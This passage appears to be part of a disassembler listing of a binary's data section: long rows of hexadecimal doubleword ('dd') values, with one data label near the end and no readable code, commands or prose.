		dd 57D0C8BEh, 3ADA5750h, 7E1AA669h, 0D176E92Ah,	42BAD26Fh
		dd 8FA7E960h, 8049B45Ch, 6852560Ch, 144F13A2h, 8344F273h
		dd 1303E2C1h, 0D33A2BB4h, 0FA9C8725h, 9689870h,	19F58A4Ah
		dd 0D075DEA3h, 0B5140B6Eh, 28ED35C8h, 312D5B7Fh, 57DFC25Fh
		dd 856AD14Ch, 890FB036h, 0B8C005FBh, 12781FEDh,	0E8AEF8CBh
		dd 125739B2h, 0E444C7E9h, 9C92295Fh, 601CFF5Eh,	3658C505h
		dd 6D825E03h, 3C907935h, 0BA33EB12h, 5707D062h,	870FB6BAh
		dd 19759E69h, 0F0551F30h, 0D94B54AAh, 25745025h, 0E3A28E12h
		dd 2ECA864h, 0AF5C7968h, 37FD042Dh, 0BA3730EAh,	4616D044h
		dd 5BC1575Fh, 0BA4D3F7h, 1EF08B0h, 29CF02BBh, 60634F18h
		dd 25E3A83Bh, 92F0F859h, 5E165058h, 6CE99705h, 0A3FCAC53h
		dd 3A7FE215h, 0B7A54D7Fh, 5F895D25h, 89FACC09h,	57BA5207h
		dd 9A1E7318h, 5E72584Ah, 387A4450h, 10A1B94Bh, 6603DFDDh
		dd 1985C981h, 0AC10A0Fh, 79C3EE14h, 9020C679h, 0D097D075h
		dd 0F6C81604h, 684DF04Bh, 0C21A7126h, 86C8AC0h,	0D1F7175Dh
		dd 3D00B841h, 7025DE4Ah, 2733E23h, 685D58CFh, 0A8FC6CF6h
		dd 2912262h, 0B2F7FA01h, 306AE882h, 8F195C3h, 8809E986h
		dd 2DF35C35h, 8B1BF106h, 0DC380C10h, 5E719244h,	9F3C74A0h
		dd 8BE9B882h, 4256D58h,	964BE501h, 0BEEEC2DAh, 446A2FD5h
		dd 0EFE44408h, 1802B602h, 0B3820E52h, 52169A97h, 0ED4F2FD8h
		dd 0B9806EEEh, 0DF2C4008h, 283CCC10h, 1DDF08E9h, 0EE06910Ah
		dd 0CEC28F34h, 37FA78CAh, 0F1790D59h, 612035A6h, 148ACA7Dh
		dd 4C5925A5h, 1682D366h, 0AD9DE99Ch, 4FC700AAh,	291E3755h
		dd 825F90D7h, 0AF258508h, 5971898Dh, 4EC3E61h, 3E626110h
		dd 204B5FA8h, 0AE06E749h, 4F5BA63Bh, 0DFFF021Ah, 86E9E4FDh
		dd 0FE01F9F4h, 34B050C2h, 416895E9h, 0BFC6312Eh, 0C2D11AAFh
		dd 6802C24Eh, 0B5A2FD4Eh, 21FCE89Bh, 0F41170AFh, 99C95F45h
		dd 0F18E94FDh, 15B898Dh, 1C5219BEh, 48AB6A20h, 0A8D7382Eh
		dd 547D0413h, 0BBBC67A2h, 905E0740h, 1EE927D1h,	14FED162h
		dd 0A968E202h, 56858B65h, 0F7FA496h, 6F632FE8h,	1C40FD29h
		dd 0F2FE908h, 5C7290B3h, 940A7168h, 0AF8C4A6Ah,	1CC42E71h
		dd 7657E921h, 0A8A35E34h, 62F66979h, 8B930875h,	7060519h
		dd 55248540h, 89192FA3h, 0F600DE72h, 290DFA1Ah,	0A939E9F9h
		dd 0C2DB5FA1h, 89E6DECFh, 0C57C4B72h, 3F205979h, 0DF53167Eh
		dd 5480957h, 7A741381h,	2D643C4Dh, 10C1A038h, 0BD24D472h
		dd 0DFF2B368h, 0FC2305Bh, 9D5C8Fh, 0C31475BBh, 0BD00556Fh
		dd 605B3AD1h, 1395CD81h, 0BC767011h, 8E421093h,	2EA8947Fh
		dd 2EBC4A2Dh, 77E4D2BCh, 95095F20h, 85F4ADE4h, 90127082h
		dd 0B80C4D93h, 98996559h, 6371E8FBh, 7EDC112h, 4209BFBDh
		dd 7480391Dh, 0CA295DE9h, 0E5FC4E8h, 852C3549h,	0AABC8DA6h
		dd 0BF424893h, 474F0928h, 8E6AF8F1h, 0F9995A7Ah, 4BB3D7F2h
		dd 93E0B29Ch, 44605E45h, 0CC52E133h, 40616FCCh,	0E6078129h
		dd 4EB823C6h, 0A0B0EE63h, 39012D0Ch, 0EAA85EF5h, 8DC25A83h
		dd 27752C8Fh, 2C6EF051h, 7236585h, 9731BACDh, 88D6BA4Dh
		dd 2D01C012h, 211AB7A3h, 105A1E2Ah, 0C1580BB8h,	9AAD8E7h
		dd 3730CB70h, 35B72301h, 0EA943052h, 5A619F03h,	41FA2916h
		dd 0B104081Ch, 94680790h, 80A8915Eh, 504CB151h,	0F4492AE9h
		dd 274A4E16h, 0EEA7C3C8h, 185C2F52h, 335A79C6h,	9A007B84h
		dd 7AEA6B92h, 0C0F74E5Ah, 15946A16h, 4389852Fh,	795BDA58h
		dd 0EAD6A5DBh, 39F46885h, 1221AA3h, 48F14A90h, 959E73C6h
		dd 404B3012h, 5D28E282h, 7FB16C6Ch, 0B2545309h,	4E26710Dh
		dd 2C5EEBCBh, 810383EDh, 6E77162Ah, 6AAC8A84h, 4E0E7526h
		dd 0BA6F605Ch, 4B2BBFAAh, 2437A2C5h, 641D495Ah,	832C0DC5h
		dd 3AE9C406h, 38EFFAEDh, 95CF5258h, 6E49CD34h, 48118D10h
		dd 0E1621501h, 0A4E24ED3h, 8DA5FC96h, 2B46AF17h, 0CA5B4A0Bh
		dd 9F305460h, 5E09DABAh, 0F6085068h, 0DD58622Eh, 88C15A05h
		dd 312EFC18h, 393FBCC1h, 4FECD813h, 5D00268h, 0C0E9C529h
		dd 0F71CF150h, 3DCE81DFh, 0DABBCDF8h, 15C907Eh,	9726E9FBh
		dd 6885AEC5h, 0B2362146h, 161CF62h, 0C9D1DA2Bh,	0F2E907B0h
		dd 972ABA92h, 6201F771h, 0C05FC180h, 0C1DA4171h, 27E7FED4h
		dd 0A0600610h, 0E297C888h, 571A914Fh, 9A1914FCh, 21960BB5h
		dd 55742763h, 0F9F0010Ah, 0E8F00B20h, 2D5E5D01h, 32C61A76h
		dd 8300A261h, 863C55h, 3E112528h, 24E94AF6h, 82BDF2BAh
		dd 0A9B213A0h, 81CD9A8h, 8432BAAEh, 2F775CB9h, 2D325E58h
		dd 42E52F83h, 24955C83h, 0E9175CE4h, 96A8023Bh,	0F1967394h
		dd 7A8735AFh, 0B9791EC0h, 3CAEC42h, 2720827h, 1200D2F7h
		dd 0D11784C2h, 95F1E911h, 0E0DE5909h, 0B340D348h, 4A1AB263h
		dd 0D553C328h, 0D487ABF4h, 1231E4Ch, 282CED80h,	28A2E9DDh
		dd 0D2C7576Eh, 0C667A791h, 0D0315C00h, 17927796h, 4AF035A4h
		dd 85C0B45Eh, 2C35A497h, 0F0D289AAh, 48BF93EEh,	0F58AC86h
		dd 0EA31AE13h, 4EE17CABh, 106C625Bh, 0E94A38A9h, 0F4668BA2h
		dd 826442C1h, 85175905h, 68C273EDh, 4C5F3CC3h, 4E9DB967h
		dd 5D7BEEC9h, 0D369534Dh, 442CDF13h, 0B8822747h, 0DC4EC9BDh
		dd 0D9688DC7h, 78B3EDFDh, 28AB58B5h, 10B7C82h, 8125235Fh
		dd 3C5637C4h, 2E5CA70h,	7675504Ah, 0E6FE3DE9h, 6A14CF81h
		dd 0E77040DCh, 0C034179Dh, 24581630h, 6FB8892Ch, 0ED27B98Bh
		dd 0F5E98921h, 68977BE0h, 0A9A80B74h, 2378BF02h, 12774638h
		dd 70DDC0AAh, 0FB2916EBh, 315DC25Fh, 0ED06AE5Ah, 0C146BEEh
		dd 7A982E0Ch, 0F5033EAAh, 173911DBh, 7E880C05h,	7FE8E99Bh
		dd 8946AB13h, 0D1DD6191h, 845C0398h, 0B050EB80h, 1043E17h
		dd 0D0F68A81h, 7B28EB2Ch, 0F51DD98h, 0A7E994B5h, 0DD3DB4B3h
		dd 8A2EAF41h, 1B5934A7h, 0B88CF100h, 0B509E4D6h, 7461840Eh
		dd 0FC18AA27h, 651335E3h, 35A95D13h, 0EF19A204h, 0FB868050h
		dd 5602A65Ch, 685BDE29h, 3998F5E3h, 299998E9h, 4CA67827h
		dd 4513E5FDh, 2C5BE25Dh, 689A91C7h, 5618DD06h, 0E4AABD86h
		dd 5EBB09F5h, 8EAF51F4h, 0E4C23161h, 24888E25h,	0DBE00BB2h
		dd 5E5E01F3h, 5439E989h, 0CAE29D86h, 0A6B38C37h, 4A7CA5FBh
		dd 0BFEE9052h, 0C57DC780h, 2957E763h, 1774568Bh, 9BC09D74h
		dd 0C7A7965Dh, 0BF35EC2Dh, 1F519868h, 33AB0482h, 2A28B931h
		dd 4AE96528h, 0E0FE1594h, 0D75BE9A0h, 42577997h, 7093859h
		dd 61AA1F4Dh, 1672DC72h
		dd 5643C2DEh, 782DD57Ah, 143EE946h, 0B8D6A507h,	0B68B5F38h
		dd 210AB559h, 8ED1C5Fh,	692DE6DBh, 226AC300h, 0FB90EFB3h
		dd 6B16C8EAh, 2413F73Eh, 0E9F0D7E5h, 995008D3h,	513F294Fh
		dd 0EB10F408h, 6915449Bh, 0DF2D00F9h, 218462B3h, 49F1B647h
		dd 5200FD7Ch, 1D3BF4BAh, 208BB01Eh, 5107A05Eh, 35DB8B9h
		dd 93CEC197h, 0C98190C0h, 0E5191E2Bh, 27E2C90Ch, 7885B25Dh
		dd 0ACEA4B73h, 6656D6AEh, 4E40BEDh, 0F443EAC8h,	834522F8h
		dd 0C9DD2D6Ch, 65710968h, 6A81031h, 0E9272606h,	0B98D407Dh
		dd 0BD5E25E2h, 51F4DDCh, 0E889684Bh, 94461FCEh,	38DE606Fh
		dd 0BB04134Bh, 0F8A2D062h, 0FB1914BAh, 0EE093C04h, 923A840Bh
		dd 16555595h, 0CB4CBF6h, 7BF65314h, 4B0814Dh, 5CB804EFh
		dd 8F1343A8h, 7F0544ABh, 0B0EFBC23h, 0F58BF501h, 6558CA3Dh
		dd 4D626600h, 488D2D20h, 530C801h, 7A1653F5h, 256DCAE8h
		dd 0B75E699Bh, 0A0AC4525h, 0A3545E98h, 25444A12h, 0C7AD352Eh
		dd 2582DFDEh, 0D92F12F3h, 25EA4433h, 2E3A0283h,	89CE05Fh
		dd 0B801A09Fh, 27BF1B0Ah, 0F29D3BF7h, 1A781C09h, 0F3627800h
		dd 2954049Fh, 870BC3BCh, 0A952FA13h, 0C2A674F6h, 620BBE69h
		dd 0EB0661E1h, 0C00838ECh, 2132C5C3h, 90B0A472h, 52D4BF41h
		dd 0A2B9AB7Eh, 0D3185D56h, 0BE80DA83h, 880A17FBh, 0BBC8062Eh
		dd 0A40C3197h, 9A4FD851h, 8E8696EAh, 4AF2BEE9h,	8AF2E7h
		dd 699E7142h, 0D602BF57h, 0E9444727h, 239355CDh, 2E06B5B9h
		dd 0E87F0BE2h, 0C6B7C02Dh, 0B3A6FC8Dh, 0ABF5892Eh, 9AE1942h
		dd 4D8B2292h, 0AE8BFC04h, 4BB6438h, 3B0C50DEh, 7B8DEA53h
		dd 80807AA2h, 700B75AFh, 143DB6E0h, 5E0908EBh, 0AB5141E9h
		dd 0A511E424h, 4EB44C62h, 0CC460055h, 0EEC4FE91h, 71E918DCh
		dd 0B353E5E7h, 0DB09167Bh, 587DC380h, 62CEEDF0h, 1CE60EE6h
		dd 414804CEh, 3261E964h, 0E3EA896Eh, 16988987h,	0BB3B5356h
		dd 14A30654h, 9A0B58BEh, 57015EC2h, 2F6A5CEh, 0EC6B8EDCh
		dd 127D4A9h, 30F0D0F7h,	80199E8h, 5E250DC4h, 152E40F1h
		dd 0CC77E4Dh, 53B46F1Dh, 0B47C6701h, 73DE421Ch,	27C01675h
		dd 0F3CEF11Ah, 5C53AC1h, 0C801344h, 1B262139h, 0AE98C301h
		dd 4B129D02h, 5072E91Ch, 0B6521E4Dh, 0B4EC1714h, 184E9C53h
		dd 0F25E54DAh, 665C850Ah, 86105AC1h, 0BEDC56D5h, 3F677B5Ah
		dd 5E2DF029h, 0CEA090C4h, 0B9C0CFDCh, 11F7DAEDh, 2C7895A0h
		dd 5AF9209Fh, 0BD2907E9h, 62004FE4h, 565D3E6Ch,	2F3606BEh
		dd 7CE019C7h, 1540B3E9h, 27E77788h, 4D9909CEh, 295FEA44h
		dd 8038CE57h, 0B7CD69DBh, 72421C20h, 8A902041h,	1671900Bh
		dd 0C2698438h, 0C3285A01h, 0D22A2058h, 0EA2ED295h, 74B02050h
		dd 14CAE640h, 0CEB5F9E9h, 5858AAA5h, 35E9878Ah,	0B6247C46h
		dd 0C13210CEh, 9D32C84Fh, 28E10D67h, 0E88758B5h, 0DCDE3D5Dh
		dd 0DEA84238h, 2CC3105Fh, 43D7207Fh, 0F700E298h, 175BD1C9h
		dd 95346AE9h, 559F785Bh, 22B4FB09h, 5F5FFEBAh, 56488E14h
		dd 0F7A41047h, 252DAD01h, 3F280321h, 0A78B6D1Fh, 0BB34F431h
		dd 0B1E2C017h, 65D4CE49h, 20E90282h, 507AD47Eh,	6CB5104Ch
		dd 35EA2711h, 2DE508F1h, 1E181D5Ch, 0A87B9C0Bh,	9EF8308Ch
		dd 0D2614958h, 0CFD73A05h, 58BAAFD4h, 0F46F902Ah, 20833748h
		dd 0FEB900F9h, 0F70A663Eh, 0D15C87D9h, 0E4164F14h, 0C15F2472h
		dd 8B33E657h, 86498CDFh, 1DEA051Ch, 12F0809h, 212F80F8h
		dd 902A7812h, 309D4017h, 2090CB48h, 685601E3h, 10433253h
		dd 5C12785Eh, 2C8713C5h, 0BD0079B6h, 22956D96h,	0EFE4FD31h
		dd 8E9708C9h, 57876F41h, 33BBB907h, 17FE5094h, 73C0EC44h
		dd 9D00E55Fh, 4A854DC4h, 1D25AF7h, 11B2E2DDh, 2ED42D5h
		dd 7B98AC50h, 178E3C62h, 6857009Bh, 253D302Bh, 9BDA70Eh
		dd 49965F44h, 75125A3h,	5C4B3CCAh, 1F55829h, 5A61EE7Dh
		dd 6560C101h, 85691EDEh, 0F2F9126Dh, 5968821Fh,	232F77Ch
		dd 1F5055C3h, 8B417506h, 4197B20h, 0C82942D0h, 1017E859h
		dd 0E04BF556h, 36248A1Ch, 609F71Ch, 87CD3B8h, 432FCAACh
		dd 5E698C3h, 4CDE4CF7h,	9357AF00h, 59CE0914h, 800309BCh
		dd 0B0C6DC4Fh, 72116AF6h, 0E93DC4C8h, 2828AC60h, 0B699C188h
		dd 24CEED08h, 29C4284Ah, 93A28E91h, 2618B65Ah, 45ADD07Ch
		dd 0BC6884DFh, 60C64B6Bh, 0F8C80FCAh, 0CC154E81h, 7A4F07F8h
		dd 0D82D3BA3h, 5BB59E08h, 222CAF1h, 5444D066h, 0DE319ED2h
		dd 1FFB103Dh, 3042815Eh, 4109AA2Dh, 12800430h, 428A3540h
		dd 0E918E889h, 0B64E3D6Eh, 7C09DB8h, 0F61DC3EEh, 2C7986DEh
		dd 833E3DDh, 0F524EF30h, 0C322E906h, 33277690h,	0EF2774C5h
		dd 0B8C18965h, 6A9450h,	616817BCh, 9A919BDh, 0D529DAD2h
		dd 0E942A971h, 0BDA96926h, 0B5AA779h, 727E5FE0h, 127AD08h
		dd 9A1F14BEh, 3A803F67h, 2CC5BD55h, 783212Ah, 97151BEDh
		dd 0BCCD6008h, 1E7C6074h, 4472C505h, 8B10272Fh,	0E3A810A2h
		dd 0BA68660Fh, 2A2EC9F2h, 79376F81h, 4450CDADh,	0F6ABC869h
		dd 98C952F2h, 0C1AB54AEh, 731A7689h, 45324B6Eh,	0BE22EE57h
		dd 25C2A73Bh, 66D09FDEh, 0D1AB5E0Fh, 6E05E4C4h,	3BCE94C8h
		dd 9B6FDE20h, 1D4294E9h, 8C004D75h, 0CDDFA7DDh,	4BA9594Bh
		dd 0B9B156D2h, 0CDE91728h, 975771F0h, 4627F3C5h, 41009840h
		dd 0F4C82E78h, 68ECA833h, 204E4EE2h, 0F666B1F1h, 0B0B8D950h
		dd 0C14920EEh, 35A65BFAh, 2A1C185Bh, 873C180h, 149878F0h
		dd 0C13A9741h, 6A170161h, 4BB3038Ch, 7EA7ACB4h,	35D0C726h
		dd 8F8B7461h, 49DFCD2h,	0B2718268h, 90B04B0Ah, 2237511h
		dd 7A98B930h, 82D56417h, 77CA89E9h, 0C7D0A948h,	22746282h
		dd 0C15455BDh, 513DD4EEh, 0E1779405h, 0E4378142h, 0C1C0DF63h
		dd 0F72F06EBh, 0E94C41D3h, 91739FF9h, 0A9132578h, 3024FCD1h
		dd 0AA6D2C03h, 15C9B021h, 2DF03E0Eh, 4E16F100h,	0B0E9E527h
		dd 0E3721C4Bh, 5FF7C283h, 79A543E5h, 0C5DB1742h, 7E1EFAAFh
		dd 7C77BC0Dh, 0F13A4031h, 145280FBh, 0E9237546h, 52845A96h
		dd 25C0022Fh, 0C182C052h, 88A9B048h, 570B1C74h,	8884D9ACh
		dd 0D42779B7h, 2BC2604Ah, 115AFA60h, 8109694h, 0B35E101Bh
		dd 9AF9A05Ah, 61D10F15h, 0F30079A2h, 184D84B6h,	0E4DD8955h
		dd 48CDA2EFh, 278EB097h, 7DB2C328h, 0E9E27374h,	4C755AE1h
		dd 0A5B37F8h, 808D8A60h, 0D0022BB8h, 2F003519h,	2D597E7Ah
		dd 1B6975BDh, 0F93AE903h, 18757492h, 27685C7Bh,	0B7512DECh
		dd 11479E8Bh, 0A207AA8Eh, 0F8F9143Bh, 16A1E888h, 5BD68F59h
		dd 0E510B5B2h, 839D4076h, 0BEE47097h, 77612DC2h, 46B77170h
		dd 9AFAAA34h, 46C25D82h, 7052125Dh, 32B11C3Fh, 6850402Bh
		dd 22C672EDh, 2FBC584Eh, 0D5354800h, 893D18A5h,	0D7E93EC2h
		dd 4319FDB6h, 35882F66h, 5299C599h, 56A28E54h, 45552753h
		dd 25D8BF66h, 0F6511C8Bh, 0C33CFE69h, 2E1CFDC5h, 0FE0B55B7h
		dd 836A005Bh, 0EC5AF520h, 522748EDh, 322F9518h,	0CE2D68ACh
		dd 0BDE39841h, 0DDE69D0Ah, 0BAC53768h, 18477949h, 0E5801B2Ah
		dd 8CC00239h, 10CDFE03h, 5406CFAEh, 0E964C5C0h,	6C9F906Dh
		dd 1B7D21F8h, 73B913BCh, 63E97C8Ch, 2BDD947h, 0EB010B13h
		dd 0B6F785D8h, 59660990h, 9F6094D5h, 80E9BC82h,	5DD2D6Ah
		dd 1BD09E82h, 27F8BBh, 0E3814239h, 48ED201Ah, 79DBF72Dh
		dd 733800B5h, 0BEE93991h
		dd 509E5592h, 5ABF6969h, 5F159C2Eh, 92252090h, 66C21807h
		dd 833896EFh, 0E3FBB5A4h, 71770D9h, 6E758B5Fh, 0FA6812DAh
		dd 808D3710h, 5FA47BA6h, 4B9785ACh, 0F486C02Fh,	0EE890CE4h
		dd 0E9A3315Dh, 0BFC93B30h, 0BAA27362h, 5B470618h, 2E310FF8h
		dd 8BFDE927h, 0F5D072D5h, 0F4187FCEh, 0C0829380h, 170FF2B0h
		dd 0BD4B7529h, 0D3DC4C26h, 0E9B070EAh, 9B95B2E6h, 0E46C4FD8h
		dd 5B96A727h, 0D5939321h, 99575A9Ch, 0E87E692Ch, 2968DA87h
		dd 0F9E90BE8h, 22FD24E2h, 0F774D720h, 0E2CF1F99h, 11C1B29Bh
		dd 0C7407B98h, 92DE9AC1h, 0BA219D8Ch, 0D52D9FF7h, 3E9E7131h
		dd 0EDE9B243h, 0A771110Eh, 1D3F4874h, 0C1532339h, 0D8D23082h
		dd 0D501301Fh, 7E6A4340h, 875A770Bh, 0A03A5B2Ch, 12064B49h
		dd 0A83DBF5Dh, 800C3521h, 0F0345ABAh, 40BD3193h, 9AC4B198h
		dd 657521AAh, 0D35D5489h, 1C5E2749h, 0BB01B722h, 0BB51AB9h
		dd 0A272DE89h, 211F8615h, 55A7A45Fh, 0C5684FFAh, 509EDCF9h
		dd 0C0868E92h, 575F3A29h, 0A1B0D7CFh, 3E1E5B64h, 56AD9500h
		dd 9F294002h, 3A08A308h, 232DB497h, 74EAD061h, 4AC4868h
		dd 0F957072h, 78D48994h, 1266F808h, 91638D68h, 2E11B25Dh
		dd 75159E4h, 0B5ABB753h, 5BFDA395h, 856112DEh, 91D1E90Eh
		dd 13771D62h, 1064B10Dh, 841BE13h, 115A0CA7h, 0C10C62B4h
		dd 6E8836E4h, 0D98F64D3h, 16A29B7Eh, 0C2DD2210h, 0CAC78014h
		dd 30C00C10h, 8196A5Bh,	9BB0A17Fh, 0E24BD03Ch, 2FCD7D6h
		dd 0BBC025A4h, 0BE84B31Fh, 54A483C4h, 95061216h, 0E95C0A09h
		dd 0ED5D1607h, 0D975855Fh, 5E503B5h, 227FF907h,	50B3640h
		dd 0FD3D49BFh, 958C7C7Ch, 0DC1D7DCh, 4E1C04Bh, 60092E06h
		dd 0FB61847Ah, 0BFEE011Dh, 876DB538h, 0F208820Ch, 0C1C62962h
		dd 0A33E39D8h, 1EE42E64h, 7369F0BEh, 0F8165F0Ah, 0D6E90AD2h
		dd 5EF001F0h, 0E0F1799Fh, 0E9F9F766h, 482E4E25h, 83295B83h
		dd 9AEACB9Bh, 50DAD16Bh, 3A0C0EF9h, 0B8CAF9AAh,	0C1A62021h
		dd 79406837h, 0DD8192A2h, 0BE562C98h, 0E2622A74h, 44D01342h
		dd 36A2F0Eh, 0C4303594h, 0ECF31728h, 36223D31h,	0A89BB295h
		dd 2BBBCD01h, 0F057153Ch, 94A67B83h, 6E455179h,	5C79C62Bh
		dd 0FB3F1DFCh, 333C102Dh, 8D7FF50h, 3176022Eh, 4F1F808h
		dd 0BF5EF289h, 80AF2D24h, 0B9F68168h, 79F03803h, 0BF1F0F2Dh
		dd 514B23Ah, 145E2D07h,	0D4E6B537h, 4FFB6801h, 555F7372h
		dd 9F9EBC88h, 0E20CC92Ch, 12A8AC07h, 1143EC67h,	527C1F8h
		dd 4444865Eh, 543BD9B8h, 6DE21B2Dh, 27911BD7h, 0A8675F68h
		dd 1120BA60h, 297B1362h, 8A3ED1D7h, 6376B8Ch, 7ADD9F92h
		dd 4E0300BAh, 30E4E681h, 0C901080h, 81E8EC58h, 0B397F74h
		dd 1CF12460h, 6D3B8371h, 7AE9FC60h, 8025859Ch, 0D828ED45h
		dd 0C0CBE92Ch, 0EE06B551h, 0F639FE8Eh, 0C743BFD6h, 1C7A66A3h
		dd 48B110DDh, 0FA0410BFh, 0F258B59Eh, 0A7393624h, 1FF6B7E0h
		dd 5C97B991h, 4864438Ch, 4212FE88h, 68613371h, 21DB67F2h
		dd 0A5678516h, 9DBB38F4h, 53E13E81h, 63BAB604h,	260157E5h
		dd 72CF4498h, 0FC45E5C1h, 5DB3C481h, 1D3EDEF2h,	0E9FE0556h
		dd 7D1EFC10h, 6FC56816h, 9474AAE3h, 8BF02B8h, 0FEC19641h
		dd 0B2547FF9h, 7E771762h, 0C781D570h, 0F8014E69h, 28F73CD9h
		dd 5E0008EFh, 6D49BA52h, 934215E3h, 5B0B282Ch, 81DBC05Ah
		dd 410294CAh, 9CE916DAh, 5E90550Dh, 0EF92E212h,	37BB5302h
		dd 867BEE55h, 198A91h, 570FA6B8h, 0A0372D40h, 2138EC07h
		dd 0F355E9C7h, 512185D5h, 803EC331h, 0C035DE6h,	68122976h
		dd 0CF34FE7h, 95CA0F44h, 53C08959h, 91DE58E9h, 64410351h
		dd 0C4D7376Dh, 0FD75891Ch, 0F4A3E030h, 0F79A699Dh, 0A6BA38E0h
		dd 0D1B03DF6h, 99718D26h, 687D4259h, 83AD0783h,	0F00207Fh
		dd 0C172F984h, 6EBDC671h, 18E2866h, 78E25335h, 0CB6AFE29h
		dd 0CBC6017Ch, 16EA21Ch, 0FB951D8h, 0DBF15F0h, 19D2E1C0h
		dd 0AD90789Ch, 0FA3F2F0Ch, 1CCD277h, 29EF3BEDh,	64FBE9CEh
		dd 3209BB4Fh, 804AC42Ah, 0D02B20A6h, 1D409D23h,	4177FCBh
		dd 59F027B0h, 70B84AA9h, 13C06836h, 5379B6A6h, 460BD82Dh
		dd 602A09D1h, 7F802D8Eh, 31F047EEh, 3BCCB35Ah, 4BD89056h
		dd 0BE920090h, 4886467Eh, 0B16AA98h, 8DE02A4Eh,	1768806Fh
		dd 38FD1E4Fh, 9F86A9A5h, 0FE12E80Bh, 0A040123Bh, 0CF1EB498h
		dd 0BE57CCFEh, 0FDC629D0h, 0D0717BBh, 4D124156h, 3A1E4B7Bh
		dd 0EDCAA2E2h, 0BB62A50Fh, 8BA94D5Fh, 9E7C15E9h, 88C9194Fh
		dd 0F27B8289h, 0C22D2F21h, 4361D290h, 0D413E358h, 6D1B199Fh
		dd 786130Eh, 107CEC08h,	0B7762A09h, 68122289h, 0EE6830D7h
		dd 0F779C46Eh, 2E4CC3DDh, 60C63740h, 0E6AB1912h, 0B4EE6A10h
		dd 0C3683CAAh, 0C012584Eh, 0CE843AB9h, 4428BF59h, 0A5C3915Ch
		dd 0F8A04F71h, 905639Ch, 23881C4Fh, 947E4143h, 226429CAh
		dd 0B1A908Ah, 1EDE0E4Ah, 68011B80h, 8104199Dh, 524873CEh
		dd 3DE63380h, 26C1042Bh, 0EF17E946h, 7084FE95h,	79DF29FBh
		dd 8D3F101Ah, 0D251F354h, 43DA873h, 70856866h, 0E322A4F3h
		dd 2197C305h, 90ABC011h, 2959CF74h, 0E95FF804h,	37FC6E2Dh
		dd 0B321D1D1h, 83281D11h, 137DC8BDh, 0BD804CA7h, 1455480Bh
		dd 0F3C24F45h, 187E4C5Eh, 0EE5F14D3h, 0CFD5826Dh, 1530A701h
		dd 9E9D0294h, 79C0B553h, 2348B468h, 0B3EDD2C2h,	928991D3h
		dd 0C739820Ah, 0F1F82858h, 0E7391A3Ah, 0C5982DD2h, 0BBF3CC25h
		dd 78A7DAE8h, 0ED6C960Eh, 4A833867h, 13936AE3h,	259BA258h
		dd 56EBC2C6h, 20E9788Eh, 2D90D24Bh, 48CD0555h, 0A7016A26h
		dd 89F4C69Ah, 6FF63EF0h, 24EFE410h, 0E78B6031h,	2D0A460Dh
		dd 3745C2DBh, 0C0C3541Ah, 0C9D079F2h, 0A67E4497h, 0C8B5106Bh
		dd 545580AEh, 3125FD90h, 95F3E6B0h, 0E906E16Fh,	3C30A3B0h
		dd 0EAD45F09h, 0E9138C5Bh, 14576CDAh, 0C8A9F881h, 81F98975h
		dd 7ACA5FE2h, 18F514B2h, 61D5E966h, 1C68E9A4h, 4C87733Ah
		dd 53060F6Ah, 0ADE96260h, 0CC455EAh, 0BECAB53Eh, 0BD6A2A51h
		dd 8BB2523Ch, 562802B7h, 0A7131A2Ch, 97EA9E43h,	90049AC4h
		dd 4E76C74Ch, 0C4CCF381h, 2FE8292Bh, 800D4407h,	705C9FB6h
		dd 0E9D40A01h, 0CF187EA4h, 0E4E76264h, 96F0CD46h, 0EE27DD60h
		dd 5F557AE8h, 83A8C892h, 23CD1DCEh, 0B05A2B0Ah,	3E70F0E5h
		dd 0C85C4D8Dh, 0CA240A77h, 0A490ACE9h, 444C2642h, 0E4950F0Ch
		dd 83A887A6h, 0E78A508Bh, 0EAC6258Dh, 31FBEF4Ch, 0DF7A1F0h
		dd 8076E3E0h, 60000FB8h, 5035454Dh, 9F674338h, 2D02C879h
		dd 0C1F1A79Eh, 0C8385E01h, 0F670E84Eh, 0BA3A970Ch, 686398D7h
		dd 8D054F30h, 0A648E0D9h, 0AF6394Eh, 0A7AD4F2Ch, 688400E7h
		dd 2FF83420h, 9E6EDA5h,	9AF8EDE9h, 0F39FB38Dh, 1788ACA5h
		dd 0F2801E57h, 22FAEC8Dh, 6B7234E4h, 638AEE6h, 95A19244h
		dd 0BA092E89h, 6FDCF9A9h, 2013CBA4h, 0E25B66E3h, 42E9C4AEh
		dd 0B25EFAFCh, 845C8AEBh, 18B2D46h, 0E1685251h,	2002D44Dh
		dd 0F949126Ch, 81D300B2h, 8B654FEBh, 0D51CC46Eh, 80CAFE72h
		dd 0BE2E1D4Ch, 0F5C10865h, 86028826h, 0E021D902h, 266A69D9h
		dd 4767Eh, 326F34DFh, 0A901B850h, 0E929B113h, 0DC2CE5A8h
		dd 5FAF68C2h, 0A1079BA2h, 4F13B900h, 0A6235C89h, 7A48BD79h
		dd 64F015CAh, 0FE685509h, 3E2BE65Ah, 19926E87h,	1B7C0D1h
		dd 784BA023h, 957A80BCh
dword_49A05C	dd 57028C51h, 7FD04F7Eh, 500B8789h, 800EA366h, 73283DC3h
		dd 1AD9D80Bh, 6E81C86Eh, 5AE41236h, 0EF71F058h,	5547BE94h
		dd 7F158C92h, 96248BAh,	189185Eh, 0EECB86F9h, 8DE75E39h
		dd 5BDFFC84h, 7880AB3h,	334C3EBBh, 0AC01EFD3h, 7C4C3CDCh
		dd 950E9CF0h, 6812CFCEh, 71330231h, 0ADC34F53h,	10E64808h
		dd 0E358A8ECh, 68509260h, 4F26F796h, 1137878h, 1AC54F0h
		dd 0C0B5B652h, 0CFD003E6h, 0D1DD1AF3h, 583C1E6Ch, 83C980C6h
		dd 0DD12F521h, 9A45B3DDh, 0A7760B6Dh, 56E4ED13h, 0E1F0BC7h
		dd 63852D49h, 0E2A08350h, 0B82B3FC8h, 760BFD70h, 0E7D03106h
		dd 0BDC712D2h, 0EF037CC1h, 3CFC45CBh, 39C0E529h, 4D0D7C7Ah
		dd 64C4BA06h, 8AF13F5h,	7FA69DA1h, 9F685385h, 272352BFh
		dd 1679340Dh, 4140CC0Eh, 52703B0Dh, 0A150BADCh,	0D22CCBC8h
		dd 0E54BB907h, 5040794Ah, 7E7FBD05h, 0F0283B78h, 8996072Dh
		dd 0DBFDC542h, 0CBFB88D6h, 0A409E022h, 5F777079h, 515B78B4h
		dd 0D92EDAE6h, 6C20427Ah, 762714F5h, 2260004Fh,	1FC0CE81h
		dd 78C42F7Ah, 0C140CA0Fh, 41FC7F0Eh, 8A418B90h,	0C093E53Ch
		dd 2CE74656h, 8CD50995h, 0F9053D70h, 4EFC53Eh, 0F2B3AD8Fh
